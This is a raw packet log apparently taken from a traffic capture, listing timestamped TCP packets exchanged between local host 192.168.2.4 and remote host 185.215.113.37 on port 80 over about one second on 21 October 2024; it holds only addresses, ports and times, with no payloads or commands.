Oct 21, 2024 09:06:10.585767031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.585937023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.585956097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.585997105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.586031914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.610840082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.610923052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.610972881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.610991001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.611099005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.612020016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.612036943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.612086058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.612114906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.625439882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.625507116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.625741005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.625757933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.625799894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.625829935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.626811981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.626835108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.626868010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.626899004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.627722025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.627737999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.627778053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.627809048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.628801107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.628817081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.628856897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.628886938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.629997015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.630013943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.630064011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.631175995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.631198883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.631236076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.631266117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.632324934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.632364988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.632422924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.632422924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.659290075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.659359932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.659599066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.659660101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.659687996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.659760952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.660245895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.660260916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.660309076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.661396027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.661457062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.705905914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.706027985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.706259966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.706276894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.706321955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.706352949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.729914904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.729998112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.730218887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.730235100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.730276108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.730308056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.731264114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.731278896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.731328964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.745815039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.745877981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.746073008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.746098042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.746131897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.746164083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.747172117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.747185946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.747225046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.747256041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.748090982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.748109102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.748167038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.749181032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.749255896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.749296904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.750446081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.750462055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.750519991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.750550032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.751540899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.751557112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.751599073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.751631021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.752724886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.752742052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.752756119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.752780914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.752811909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.779731989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.779802084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.780066013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.780081987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.780133009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.780729055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.780744076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.780786037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.780827999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.781826973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.781888962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.826014996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.826098919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.826423883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.826477051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.826514006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.826538086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.850373030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.850441933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.850564957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.850598097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.850621939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.850646973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.851632118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.851665974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.851687908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.851711035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.865992069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.866069078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.866296053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.866358042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.866370916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.866441965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.867364883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.867428064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.867443085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.867491961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.868293047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.868324041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.868346930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.868369102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.868398905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.868506908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.869477034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.869509935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.869535923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.869568110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.870657921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.870692968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.870723963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.870757103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.871843100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.871876955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.871897936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.871937037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.871965885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.872018099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.873027086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.873060942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.873081923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.873110056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.874182940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.874217033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.874238968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.874260902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.900118113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.900197029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.900538921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.900572062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.900594950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.900616884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.901542902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.901607037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.902075052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.902137041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.946516037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.946598053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.946891069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.946924925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.946947098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.946971893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.970669031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.970748901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.970961094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.971013069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.971030951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.971081972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.972079992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.972112894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.972135067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.972157955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.986413002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.986476898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.986741066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.986776114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.986797094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.986824989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.987844944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.987879038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.987900019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.987925053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.989012957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.989046097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.989068985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.989104986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.990248919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.990283012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.990303993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.990329027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.991528988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.991561890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.991595030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.991622925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.992765903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.992799044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.992821932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.992855072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.992883921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.992935896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.993980885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.994013071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.994048119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.994067907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.994087934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.994178057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.994987011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.995022058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:10.995043993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:10.995071888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.020215988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.020266056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.020565987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.020625114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.021028996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.021065950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.021085978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.021121025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.021790981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.021822929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.021850109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.021876097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.066772938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.066855907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.067039967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.067071915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.067100048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.067130089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.090851068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.090938091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.091279030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.091337919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.091351986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.091398001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.092222929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.092255116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.092289925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.092310905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.106605053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.106741905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.107014894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.107031107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.107103109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.107965946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.108022928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.108302116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.108316898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.108359098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.109524012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.109540939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.109576941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.109601021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.110743999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.110759974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.110797882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.111979008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.111994028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.112050056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.112050056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.113149881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.113173962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.113188982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.113198996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.113213062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.113234043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.114413977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.114430904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.114464045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.114474058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.115350008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.115365982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.115381002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.115400076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.115411997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.115432024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.140448093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.140521049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.140809059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.140824080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.140894890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.141535997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.141551018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.141602993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.142432928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.142486095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.187509060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.187576056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.187937975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.187953949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.188045979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.211077929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.211155891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.211350918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.211366892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.211395979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.211412907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.212429047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.212444067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.212481976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.212507010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.213437080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.213491917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.226774931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.226831913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.227066040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.227082014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.227116108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.227125883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.228106976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.228121996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.228168011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.229016066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.229031086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.229068995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.229093075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.230045080 CEST	80	49730	185.215.113.37	192.168.2.4
